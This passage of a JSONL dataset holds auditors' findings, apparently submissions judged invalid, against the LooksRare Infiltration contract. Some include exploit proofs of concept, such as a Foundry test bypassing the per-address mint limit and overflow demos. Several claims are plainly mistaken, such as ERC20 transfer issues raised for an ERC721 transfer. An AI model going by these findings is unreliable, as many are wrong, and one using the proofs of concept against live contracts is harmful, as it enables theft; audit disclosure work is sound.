block.timestamp > mintEnd) {`\n5. Line 469: `if (block.timestamp < mintStart || block.timestamp > mintEnd) {`\n6. Line 502: `if (block.timestamp < mintEnd) {`\n7. Line 561: `bool conditionThree = currentRoundId == 0 && block.timestamp > uint256(mintEnd).unsafeAdd(36 hours);`\n8. Line 594: `if (block.timestamp < uint256(gameInfo.randomnessLastRequestedAt).unsafeAdd(1 days)) {`\n9. Line 1308: `gameInfo.randomnessLastRequestedAt = uint40(block.timestamp);`\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo mitigate the vulnerability related to MEV exploitation, it is strongly recommended to avoid using `block.timestamp` as the deadline or expiry for transactions within the smart contract. Instead, timestamps should be selected off-chain, and callers should have the capability to specify timestamps. This approach enhances control, predictability, and security in transaction execution and reduces the potential for MEV-related issues.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/097.md"}} +{"title":"Bad implementation","severity":"info","body":"Cheery Cinnamon Anteater\n\nfalse\n\n# Bad implementation\n## Summary\n\n## Vulnerability Detail\n\n## Impact\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\nfunction getRoundInfo(\n uint256 roundId\n ) external view returns (uint256[] memory woundedAgentIds, uint256[] memory healingAgentIds) {\n woundedAgentIds = _buildAgentIdsPerRoundArray(woundedAgentIdsPerRound[roundId]);\n healingAgentIds = _buildAgentIdsPerRoundArray(healingAgentIdsPerRound[roundId]);\n }\nthis function call \n function _buildAgentIdsPerRoundArray(\n uint16[MAXIMUM_HEALING_OR_WOUNDED_AGENTS_PER_ROUND_AND_LENGTH] storage agentIdsPerRound\n ) private view returns (uint256[] memory agentids) {\n uint256 count = agentIdsPerRound[0];\n agentIds = new uint256[](count);\n for (uint256 i; i < count; ) {\n unchecked {\n agentIds[i] = agentIdsPerRound[i + 1];\n ++i;\n }\n }\n }\n}\nwhich is never used in any place so it's just wasteful.\n\n\n\n\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/095.md"}} +{"title":"USE OF safetransferFrom instead of transferfrom.","severity":"info","body":"Cheery Cinnamon Anteater\n\nfalse\n\n# USE OF safetransferFrom instead of transferfrom.\n## Summary\n\n## Vulnerability Detail\n\n## Impact\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n function transferFrom(address from, address to, uint256 tokenId) public payable override {\n AgentStatus status = agents[agentIndex(tokenId)].status;\n if (status > AgentStatus.Wounded) {\n revert InvalidAgentStatus(tokenId, status);\n }\n super.transferFrom(from, to, tokenId);\n }\n\nHere we are using transferFrom(from, to, tokenId) we should use safetransferFrom. It should be used.\n\n\n## Recommendation\nUse safetransferFrom instead of transferFrom.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/094.md"}} +{"title":"Contracts are vulnerable to fee-on-transfer accounting-related issues","severity":"info","body":"Witty Clear Chimpanzee\n\nmedium\n\n# Contracts are vulnerable to fee-on-transfer accounting-related issues\n---\nname: Contracts are vulnerable to fee-on-transfer accounting-related issues\nabout: Contracts are vulnerable to fee-on-transfer accounting-related issues\ntitle: \"Contracts are vulnerable to fee-on-transfer accounting-related issues\n\"\nlabels: \"\"\nassignees: \"\"\n---\n\n## Summary\n\nContracts are vulnerable to fee-on-transfer accounting-related issues\n\n## Vulnerability Detail\n\nCertain functions in the smart contract are designed to transfer funds from the caller to the receiver using the `transferFrom()` function. However, a critical issue arises in these functions: they do not ensure that the actual number of tokens received is the same as the input amount to the transfer.\n\nIn the context of fee-on-transfer tokens, which deduct a fee during each transfer, this vulnerability becomes especially problematic. When tokens with transfer fees are involved, the balance after the transfer may be smaller than expected, resulting in accounting issues. This can potentially lead to discrepancies in the contract's internal accounting, rendering it vulnerable to exploitation.\n\nThe concern goes beyond accounting issues. In scenarios where there are checks later, associated with a secondary transfer, an attacker could exploit latent funds, which may have been mistakenly sent by another user, to gain a free credit. To address this issue, it is advisable to measure the balance both before and after the transfer and use the difference as the actual transferred amount, rather than relying solely on the stated amount.\n\n## Impact\n\nThe impact of contracts vulnerable to fee-on-transfer accounting-related issues is multifaceted. It includes:\n\n- Accounting discrepancies, which can affect the internal state of the contract.\n- Potential exploitation by attackers who can use latent funds to gain unearned credits.\n- Risks to the accuracy of financial transactions and associated operations within the contract.\n\nThese consequences can lead to financial losses, security vulnerabilities, and issues related to the contract's financial integrity.\n\n## Code Snippet\n\nInstances (1):\n- File: contracts/Infiltration.sol\n Line 929: `super.transferFrom(from, to, tokenId);`\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo mitigate the vulnerability associated with fee-on-transfer accounting issues, it is strongly recommended to revise the affected functions in the contract. One way to address this issue is to measure the token balance both before and after the transfer and utilize the difference as the actual transferred amount. Implementing this practice enhances the accuracy of financial transactions, reduces the risk of latent fund exploitation, and ensures the integrity of the contract's financial accounting.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/093.md"}} +{"title":"Governance functions should be controlled by time locks","severity":"info","body":"Witty Clear Chimpanzee\n\nmedium\n\n# Governance functions should be controlled by time locks\n---\nname: Governance functions should be controlled by time locks\nabout: Governance functions should be controlled by time locks\ntitle: \"\"\nlabels: \"\"\nassignees: \"\"\n---\n\n## Summary\n\n Governance functions should be controlled by time locks\n\n## Vulnerability Detail\n\nIn the context of smart contract governance, certain functions, such as upgrading contracts or setting critical parameters, should ideally be controlled by mechanisms that introduce a time delay between the proposal and its execution. This is known as a time lock. The purpose of a time lock is to provide users with a window of opportunity to exit or take action before a potentially dangerous or malicious operation is applied to the smart contract.\n\nThe vulnerability in this case arises when critical governance functions do not incorporate time locks, and changes can be executed immediately without the necessary delay. This omission can potentially lead to abrupt, unanticipated, or malicious changes to the contract's state, which can have detrimental effects on users and the contract's stability.\n\n## Impact\n\nThe impact of not controlling governance functions with time locks is significant. Without time locks, immediate execution of governance functions can result in:\n\n- Users not having an opportunity to exit or protect their assets in case of an adverse change.\n- Unintentional or malicious changes to the contract's parameters or functionality.\n- Lack of transparency and oversight in the governance process.\n\nThese consequences can lead to financial losses, disruption of contract operation, and a loss of user trust.\n\n## Code Snippet\n\nInstances (3):\n- File: contracts/Infiltration.sol\n\n1. Line 416: `function setMintPeriod(uint40 newMintStart, uint40 newMintEnd) external onlyOwner {`\n2. Line 499: `function startGame() external onlyOwner {`\n3. Line 528: `function emergencyWithdraw() external onlyOwner {`\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo address this vulnerability, it is strongly recommended to implement time locks for critical governance functions in the smart contract. Time locks introduce transparency and provide users with an opportunity to review and potentially exit before changes are applied. This practice enhances security, reduces the risk of malicious actions, and instills trust in the governance process. Additionally, considering the deployment of upgradeable contracts through proxies can provide added flexibility and security in the contract's governance model.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/092.md"}} +{"title":"Unsafe use of transfer()/transferFrom() with IERC20","severity":"info","body":"Witty Clear Chimpanzee\n\nmedium\n\n# Unsafe use of transfer()/transferFrom() with IERC20\n---\nname: Unsafe use of transfer()/transferFrom() with IERC20\nabout: Unsafe use of transfer()/transferFrom() with IERC20\ntitle: \"Unsafe use of transfer()/transferFrom() with IERC20\"\nlabels: \"\"\nassignees: \"\"\n---\n\n## Summary\n\n[M-4] Unsafe use of transfer()/transferFrom() with IERC20\n\n## Vulnerability Detail\n\nSome tokens do not implement the ERC20 standard properly but are still accepted by most code that accepts ERC20 tokens. For example, Tether (USDT)'s transfer() and transferFrom() functions on L1 do not return booleans as the specification requires and instead have no return value. When these sorts of tokens are cast to IERC20, their function signatures do not match, and therefore the calls made, revert. Use OpenZeppelin's SafeERC20's safeTransfer()/safeTransferFrom() instead.\n\n## Impact\n\nThe impact of using transfer()/transferFrom() with tokens that do not implement the ERC20 standard properly is that the calls may revert, leading to potential disruptions and errors in the code's functionality.\n\n## Code Snippet\n\nInstances (1):\n\n```solidity\nFile: contracts/Infiltration.sol\n\n929: super.transferFrom(from, to, tokenId);\n\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to use OpenZeppelin's SafeERC20's safeTransfer()/safeTransferFrom() when dealing with tokens that do not implement the ERC20 standard properly to prevent potential reverts and disruptions.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/091.md"}} +{"title":"Return values of transfer()/transferFrom() not checked","severity":"info","body":"Witty Clear Chimpanzee\n\nmedium\n\n# Return values of transfer()/transferFrom() not checked\n---\nname: Return values of transfer()/transferFrom() not checked\nabout: Return values of transfer()/transferFrom() not checked\ntitle: \"Return values of transfer()/transferFrom() not checked\"\nlabels: \"\"\nassignees: \"\"\n---\n\n## Summary\n\n[M-3] Return values of transfer()/transferFrom() not checked\n\n## Vulnerability Detail\n\nNot all IERC20 implementations revert() when there's a failure in transfer()/transferFrom(). The function signature has a boolean return value and they indicate errors that way instead. By not checking the return value, operations that should have marked as failed may potentially go through without actually making a payment.\n\n## Impact\n\nThe impact of not checking the return value of transfer()/transferFrom() is that operations that should have marked as failed may potentially go through without actually making a payment. This can lead to unintended financial transactions.\n\n## Code Snippet\n\nInstances (1):\n- File: contracts/Infiltration.sol\n ```solidity\n super.transferFrom(from, to, tokenId);\n\n ```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to implement proper error handling and check the return values of transfer()/transferFrom() to ensure that payment operations are successful.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/090.md"}} +{"title":"Incorrect shift in the assembly code block","severity":"info","body":"Witty Clear Chimpanzee\n\nhigh\n\n# Incorrect shift in the assembly code block\n---\nname: Incorrect shift in the assembly code block\nabout: Incorrect shift in the assembly code block\ntitle: \"Incorrect shift in the assembly code block\"\nlabels: \"High\"\nassignees: \"phenom\"\n---\n\n## Summary\n\nI have identified a bug in the Infiltration project's codebase that involves a potential issue with a shift operation in the `_woundRequestFulfilled` function. The issue may lead to incorrect bit manipulation, and it is recommended to swap the order of parameters in the shift operation to ensure proper functionality.\n\n## Vulnerability Detail\n\nIn the Infiltration project's codebase, within the `_woundRequestFulfilled` function, there is an assembly code block that contains a shift operation. Specifically, the issue is with the following line of code:\n\n```solidity\nagentSlotValue := or(agentSlotValue, shl(AGENT__STATUS_OFFSET, 1))\n```\nThe issue here is that the values in the shift operation might be reversed, which could lead to incorrect bit manipulation. The code intends to set a specific bit at the AGENT__STATUS_OFFSET to 1, but there is a concern that this operation might not be functioning as expected.\n\n## Impact\nThe incorrect bit manipulation can potentially affect the logic of the Infiltration project, especially with regard to the status of agents. Depending on the severity of the issue, it could lead to unintended behavior or security vulnerabilities.\n\n## Code Snippet\n```solidity\nagentSlotValue := or(agentSlotValue, shl(1, AGENT__STATUS_OFFSET))\n```\n## Tool used\nSlighter\n\n## Recommendation\nI recommend that the development team addresses this issue promptly. To fix the bug, the order of parameters in the shl operation should be swapped to ensure that the specific bit at AGENT__STATUS_OFFSET is correctly set to 1, as intended in the code. This change should be thoroughly tested to ensure that it does not introduce any new issues and that the intended functionality is maintained.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/088.md"}} +{"title":"Unchecked arithmetic usage in `Infiltration`'s healing and escaping mechanism allows for direct bypass of >0.8.0 solidity's built-in checks due to `UnsafeMathUint256`","severity":"info","body":"Prehistoric Beige Copperhead\n\nhigh\n\n# Unchecked arithmetic usage in `Infiltration`'s healing and escaping mechanism allows for direct bypass of >0.8.0 solidity's built-in checks due to `UnsafeMathUint256`\n## Summary\n\n`Infiltration.sol` uses a library called `UnsafeMathUint256` for arithmetic operations, which deliberately bypasses Solidity's built-in overflow checks introduced in version >0.8.0. The unsafe arithmetic functions can be exploited by an attacker to cause overflows or underflows, easily leading to incorrect state updates or bypassing of critical checks.\n\n## Vulnerability Detail\n\nWithin the `Infiltration` CA, arithmetic operations are carried out using `UnsafeMathUint256`'s functions such as `unsafeAdd`, `unsafeSubtract`, `unsafeMultiply`, and `unsafeDivide`. These functions do not use Solidity's check for arithmetic overflow/underflow, which can result in wrapping of values and lead to unintended behavior.\n\nThe primary concern with this approach is that it opens up the possibility of an attacker crafting inputs or txns that manipulate the state variables of the CA, leading to:\n\n* Manipulation of token balances\n* Bypassing of limitations on the number of tokens that can be minted\n* Incorrect calculation of rewards or game logic due to manipulated agent statuses\n\nFor instance, in the `heal` function, there is a loop that calculates the cost of healing agents based on the number of times an agent has been healed previously, which can overflow if `healCount` becomes too large:\n\n```solidity\ncost += _costToHeal(agent.healCount);\n```\n\nThe `_costToHeal` function uses the `unsafeMultiply` function from `UnsafeMathUint256`. Furthermore, since the cost of healing increases exponentially with each additional heal (`cost = HEAL_BASE_COST * (2 ** healCount)`), it would only require a `healCount` of 256 for the cost to exceed the maximum value that can be represented by a `uint256`, resulting in an overflow and thus a much lower `heal` cost than expected.\n\nThough if we consider the use of unsafe math within exclusively the `startGame`, the behavior would be quite different as that's apparently an `onlyOwner` function, so assuming the owner is trusted there should be no risk there, yet the danger overly lies within the `heal` and the way the healing mechanism is currently structured. \nThe game's critical logic relies on the accurate tracking of agent statuses, rounds, and other state variables. An overflow/underflow in any of these can corrupt the game state, eventually leading to the siphoning off of rewards or the disruption of the overall game's economy.\n\n## Impact\n\nThe unchecked arithmetic operations pose a high risk, as they can lead to:\n\n1. Loss or creation of funds due to the inaccurate calculation of balances or costs.\n2. Disruption of the game mechanics, which could render the game unfair or inoperable.\n3. Possible theft of tokens or assets if state variables are manipulated to bypass checks.\n\nAdditionally, any arithmetic errors that occur in the `Infiltration` CA would likely propagate through to the `InfiltrationPeriphery` when it calls into the `Infiltration`. This could happen if the `Infiltration` returns incorrect values or modifies its state in unintended ways due to the unchecked arithmetic.\n\n## Code Snippet\n\nThis concern arises from functions within `Infiltration.sol` using `UnsafeMathUint256` for arithmetic operations. For example:\n\n```solidity\ncost += _costToHeal(agent.healCount);\n```\n\n> [Infiltration.sol#L952](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L952);\n\nWhere `_costToHeal` uses:\n\n```solidity\ncost = HEAL_BASE_COST * (2 ** healCount);\n```\n\n> [Infiltration.sol#L1525](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1525);\n\nThen the code calls `unsafeAdd(agentIdsCount)` within the `heal` function (and many others like `escape` and `escapeRewards`, which I will be omitting for brevity.):\n\n```solidity\nuint256 newHealingAgentIdsCount = currentHealingAgentIdsCount.unsafeAdd(agentIdsCount);\n```\n\n> [Infiltration.sol#L816](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L816);\n\nAnd in `UnsafeMathUint256`:\n\n```solidity\n function unsafeAdd(uint256 a, uint256 b) internal pure returns (uint256) {\n unchecked {\n return a + b;\n }\n }\n\n function unsafeSubtract(uint256 a, uint256 b) internal pure returns (uint256) {\n unchecked {\n return a - b;\n }\n }\n\n function unsafeMultiply(uint256 a, uint256 b) internal pure returns (uint256) {\n unchecked {\n return a * b;\n }\n }\n\n function unsafeDivide(uint256 a, uint256 b) internal pure returns (uint256) {\n unchecked {\n return a / b;\n }\n }\n```\n\n> [UnsafeMathUint256.sol#L5-L27](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/libraries/UnsafeMathUint256.sol#L5-L27).\n\n## Tool used\n\nManual review.\n\n## Recommendation\n\nReplace all calls to `UnsafeMathUint256` with Solidity's native arithmetic operations that automatically check for overflows and underflows, or either completely limit the unsafe math usage to only owner restricted functions such as `startGame`. If there is a need to use unchecked arithmetic for gas optimization, it should only be done in cases where the inputs are controlled and cannot be manipulated by an attacker (which is not the case of the interested functions.), or where the results of the arithmetic operation do not affect the CA's critical state.\n\n> ```solidity\n> // actual impl\n> cost += _costToHeal(agent.healCount);\n> \n> // updated to use native addition which checks for overflow\n> cost = cost + _costToHeal(agent.healCount);\n> ```\n\n## PoC\n\n1. Deploy the `Infiltration` CA on a mainnet fork.\n2. Craft a tx that calls the `heal` function with carefully chosen parameters that will cause an overflow in the `healCount` for an agent. For instance, if `healCount` is close to the maximum value for `uint256`, the cost calculation could overflow.\n3. Submit the tx and observe the CA's behavior. The cost should be significantly less than expected, or in the worst case even zero, due to the overflow.\n4. Monitor the state changes in the CA to confirm that the overflow has led to an incorrect state update.\n\nThe specific values and method calls would need to be tailored to the deployed CA's state and the current block number, as these factors would affect the outcome of the random number generation and other aspects of the game logic.\n\n> ```solidity\n> // Assume the currentHealingAgentIdsCount is close to the maximum uint256 value\n> uint256 currentHealingAgentIdsCount = type(uint256).max;\n> uint256 agentIdsCount = 1; // Simulate adding one more agent\n> \n> // This operation would cause an overflow\n> uint256 newHealingAgentIdsCount = currentHealingAgentIdsCount.unsafeAdd(agentIdsCount);\n> \n> // The newHealingAgentIdsCount would be incorrect, leading to a corrupted state\n> ```\n\nAs for an additional picture, and to better figure out the whole vulnerable concept behind `UnsafeMathUint256`, consider the following python illustration:\n\n> ```python\n> # Define the functions provided by UnsafeMathUint256 to test for overflows/underflows\n> def unsafe_add(a, b):\n> # Simulate unchecked addition\n> return (a + b) & ((1 << 256) - 1) # Simulate 256-bit overflow by wrapping around\n> \n> def unsafe_subtract(a, b):\n> # Simulate unchecked subtraction, result should not be negative in uint256, so we check for underflow.\n> if a >= b:\n> return a - b\n> else:\n> # If b is greater than a, it would underflow, wrapping around in uint256 space\n> return ((1 << 256) + a) - b\n> \n> def unsafe_multiply(a, b):\n> # Simulate unchecked multiplication\n> return (a * b) & ((1 << 256) - 1) # Simulate 256-bit overflow by wrapping around\n> \n> def unsafe_divide(a, b):\n> # Simulate unchecked division, assuming b is not zero as Solidity reverts on divide by zero\n> return a // b if b != 0 else 'Error: Division by zero'\n> \n> # Let's perform arithmetic operations with extreme values to test for overflows/underflows.\n> # Using max uint256 value\n> max_uint256 = (1 << 256) - 1\n> \n> # Test cases for extreme values\n> test_add_overflow = unsafe_add(max_uint256, 1)\n> test_sub_underflow = unsafe_subtract(0, 1)\n> test_mul_overflow = unsafe_multiply(max_uint256, 2)\n> test_div_by_zero = unsafe_divide(1, 0)\n> \n> test_add_overflow, test_sub_underflow, test_mul_overflow, test_div_by_zero\n> ```\n> ```python\n> RESULT\n> (0,\n> 115792089237316195423570985008687907853269984665640564039457584007913129639935,\n> 115792089237316195423570985008687907853269984665640564039457584007913129639934,\n> 'Error: Division by zero')\n> ```\n\nWhere the results of the arithmetic operation simulations using UnsafeMathUint256 with extreme values are:\n\n> 1. Adding 1 to max_uint256 results in 0, which indicates an overflow as the value wraps around to zero, confirming that unchecked addition can lead to overflows (**addition overflow**).\n> 2. Subtracting 1 from 0 results in max_uint256, which is a clear case of underflow since the operation wraps around when subtracting a larger number from a smaller one (**subtraction underflow**).\n> 3. Multiplying max_uint256 by 2 results in max_uint256 - 1, showcasing another overflow scenario where the product exceeds the maximum representable value in a uint256 (**multiplication overflow**).\n> 4. The function returns an error message for **division by zero** since solidity would revert this tx. Though in the simulation, it's handled by returning an error string instead of executing an operation that would cause a revert.\n\nThe above draft actually illustrates the mentioned concerns in the current impl of `Infiltration` in a proper manner and makes this finding worth the claimed impact.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/086.md"}} +{"title":"Bypass of MAX_MINT_PER_ADDRESS Limit due to no Premint Checks","severity":"info","body":"Sunny Bronze Gecko\n\nmedium\n\n# Bypass of MAX_MINT_PER_ADDRESS Limit due to no Premint Checks\n## Summary\n\n`premint()` function allows an owner to mint any number of agents to any user.\nEven if owner is trusted , user which is pre-minted to is not trusted, then any user should not be allowed to mint more than `MAX_MINT_PER_ADDRESS`. \nTo ensure this check there is a mapping : `mapping(address minter => uint256 amount) public amountMintedPerAddress;` .\nHowever this mapping is not accounted when admin premint to user, rendering this accounting useless and then leading to a condition where an address could exceed the intended minting limit.\n\n## Vulnerability Detail\nScenario : \nLet's imagine `MAX_MINT_PER_ADDRESS = 50`\n\n- Alice know the owner Bob and tell him to mint her 45 Agents, Bob say ok because 45 < 50 so limit is respected.\n- Alice see an opportunity to win the game and when minting start, she mints 50 agents \n- Alice now has 95 agents whereas `MAX_MINT_PER_ADDRESS = 50`\n\n### POC\nAdd this test on Infiltration.mint.t.sol : \n```solidity\nfunction test_Finding_premint_And_Mint_Bypas_MAX_MINT_PER_ADDRESS() public {\n uint256 QUANTITY = MAX_MINT_PER_ADDRESS - 1;\n _setMintPeriod();\n vm.deal(owner, PRICE * QUANTITY);\n vm.prank(owner);\n infiltration.premint{value: PRICE * QUANTITY}({to: user1, quantity: QUANTITY});\n\n assertEq(owner.balance, 0);\n assertEq(IERC721A(address(infiltration)).balanceOf(user1), QUANTITY);\n\n vm.deal(user1, PRICE * MAX_MINT_PER_ADDRESS);\n vm.warp(_mintStart());\n vm.prank(user1);\n\n infiltration.mint{value: PRICE * MAX_MINT_PER_ADDRESS}({quantity: MAX_MINT_PER_ADDRESS});\n assertEq(IERC721A(address(infiltration)).balanceOf(user1), MAX_MINT_PER_ADDRESS - 1);\n uint256 balanceUser1 = IERC721A(address(infiltration)).balanceOf(user1);\n console.log(\"Max Mint : %s, balanceUser1 : %s\",MAX_MINT_PER_ADDRESS,balanceUser1);\n vm.warp(_mintEnd() + 1 seconds);\n }\n```\n\n## Impact\n\n- Alice as almost 2 more chance than any user to win the game => unfair for other users \n- break/bypass of one of the core invariant of the game\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L449C1-L488C10\n\n## Tool used\n\nManual Review\n\n## Recommendation\nEven if owner can bypass the `MAX_MINT_PER_ADDRESS` as seen in tests, user should be accounted of how many owner pre-minted for him/her, to not abuse owner : \n```solidity\n function premint(address to, uint256 quantity) external payable onlyOwner {\n if (quantity * PRICE != msg.value) {\n revert InsufficientNativeTokensSupplied();\n }\n\n if (totalSupply() + quantity > MAX_SUPPLY) {\n revert ExceededTotalSupply();\n }\n\n if (gameInfo.currentRoundId != 0) {\n revert GameAlreadyBegun();\n }\n+ amountMintedPerAddress[to] += amountMinted; \n _mintERC2309(to, quantity);\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/085.md"}} +{"title":"Check in `fulfillRandomWords` is vulnerable in some specific situations","severity":"info","body":"Soft Tortilla Fox\n\nmedium\n\n# Check in `fulfillRandomWords` is vulnerable in some specific situations\n## Summary\nThere may be two vaild random numbers in the memory pool at the same time.\n## Vulnerability Detail\nLet's take a look at the logic in the fullRandomWords function to prevent expired random numbers: \n\n if (randomnessRequestRoundId != currentRoundId || !randomnessRequest.exists) {\n emit InvalidRandomnessFulfillment(requestId, randomnessRequestRoundId, currentRoundId);\n return;\n }\n And the logic in `_requestForRandomness()`, where `randomnessRequests` is changed as below:\n\n randomnessRequests[requestId].exists = true;\n randomnessRequests[requestId].roundId = currentRoundId;\nAnd RoundId would not increased until `fulfillRandomWords` is executed successfully, as `_incrementRound` is only triggered in `fulfillRandomWords`.\nConsider the situation where the first VRF request is pending for more than 24 hours, `startNewRound` can be executed again, pushing another request into the mempool.\nHowever, at this point, there are two different random numbers in the memory pool at the same time, both of them can be considered as valid, so it enables malicious people with MEV resource to choose a number on their preference.\n\n## Tool used\n\nManual Review\n\n## Recommendation\nMake old `randomnessRequests[requestId]` expire when requesting for a new one.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/083.md"}} +{"title":"Vulnerability where the escape reward distribution loop could still run even if there are 0 agents left, leading to division by 0 errors.","severity":"info","body":"Polite Tin Dog\n\nhigh\n\n# Vulnerability where the escape reward distribution loop could still run even if there are 0 agents left, leading to division by 0 errors.\n## Summary\nNo check that activeAgentsAfterEscape is >= 1 before starting the reward distribution loop. The loop could still run with 0 agents left, leading to division by 0 errors. \n## Vulnerability Detail\nthere is no check that `activeAgentsAfterEscape` is >= 1 before starting the reward distribution loop in the escape() function.\nThis could allow the loop to run with 0 agents left, leading to a division by 0 error when calculating prizePool / currentRoundAgentsAlive.\n\n function escape(uint256[] calldata agentIds) external nonReentrant {\n\n // No check for activeAgentsAfterEscape >= 1\n\n uint256 activeAgentsAfterEscape = activeAgents - agentIdsCount;\n\n for (uint256 i; i < agentIdsCount; ) {\n\n uint256 totalEscapeValue = prizePool / currentRoundAgentsAlive;\n \n // This will divide by 0 if currentRoundAgentsAlive is 0\n\n // Rest of reward calculation\n\n }\n\n // Rest of function\n\n }\nTo prove the vulnerability:\n1.\tCall `escape()` with a number of `agentIds` that equals the current `activeAgents`\n2.\tThis will set `activeAgentsAfterEscape` to 0\n3.\tThe loop will still run, and `totalEscapeValue` will attempt to divide `prizePool` by 0\n\n## Impact\nThe major impact is that the contract would become vulnerable to denial of service attacks. An attacker could repeatedly call the escape() function with no agent IDs, causing the contract to revert due to a division by zero error.\nThe severity is high. A denial of service vulnerability could render the contract unusable. Users would be unable to use the core functionality of escaping with their agents.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L716-L796\n## Tool used\n\nManual Review\n\n## Recommendation\nThis could be mitigated by adding a check at the start:\n\n function escape(uint256[] calldata agentIds) external nonReentrant {\n\n uint256 activeAgentsAfterEscape = activeAgents - agentIdsCount;\n\n require(activeAgentsAfterEscape >= 1, \"No agents left\");\n \n // Rest of function\n\n }\n\nThis ensures the loop cannot start if all agents have escaped, preventing the division by 0 error.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/081.md"}} +{"title":"Wrong use of VRF randomness can allow it to be exploited, allowing the exploiter to always win the game","severity":"info","body":"Loud Myrtle Tiger\n\nhigh\n\n# Wrong use of VRF randomness can allow it to be exploited, allowing the exploiter to always win the game\n## Summary\nAccording to chainlink docs, ANY re-request of randomness is an incorrect use of the VRF https://docs.chain.link/vrf/v2/security#do-not-re-request-randomness\n\nThe current implementation allows for the random word to be requested again if there has been no response after 24 hours. This is a wrong usage of the VRF.\n\n## Vulnerability Detail\nThis warning is taken from the chainlink docs\n\n`Any re-request of randomness is an incorrect use of VRFv2. Doing so would give the VRF service provider the option to withhold a VRF fulfillment if the outcome is not favorable to them and wait for the re-request in the hopes that they get a better outcome, similar to the considerations with block confirmation time.`\n\nThis means that the VRF service provider, who can also be a player of the Infiltrator game, can withhold the random word if it is an unfavourable outcome, and re-roll the dice after 24 hours. \n\nBecause the random word selects the agent to be wounded and determines if a heal is successful, if this agent happens to be the exploiter's, they can simply withhold the fulfillment, wait for 24 hours, and reroll it, and can repeat this until they get a good outcome. This gives the exploiter a sure-win condition. Their agent can never be wounded and their heal was always be successful, but heal is not needed since their agent will never be wounded to begin with. \n\n\n## Impact\nExploiter can exploit re-requesting of the VRF and guarantees a win.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L575-L579\n\n## Tool used\n\nManual Review\n\n## Recommendation\nEnsure that the randomness cannot be re-requested in all conditions.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/080.md"}} +{"title":"function `heal` is broken due to invalid approval","severity":"info","body":"Soft Tortilla Fox\n\nhigh\n\n# function `heal` is broken due to invalid approval\n## Summary\nUsers are unable to use the `heal` function in InfiltrationPeripheral.sol normally.\n\n## Vulnerability Detail\nIn function `heal`, user's $ETH is exchanged for $LOOKS in uniswap v3, and the codes below would be executed:\n\n IERC20(LOOKS).approve(address(TRANSFER_MANAGER), costToHealInLOOKS);\n INFILTRATION.heal(agentIds);\nIt is worth noting that, instead of approve for `Infiltration`, it approves for `TRANSFER_MANAGER`.\nHowever, when it tries to call `INFILTRATION.heal(agentIds)`, the logic used to transfer tokens is\n\n TRANSFER_MANAGER.transferERC20(LOOKS, msg.sender, address(this), cost);\nIn [TRANSFER_MANAGER.transferERC20](https://github.com/LooksRare/contracts-transfer-manager/blob/29b789149fb798c10445c0bed52e2ad3aa4d3fb7/contracts/TransferManager.sol#L54), `_executeERC20TransferFrom` in 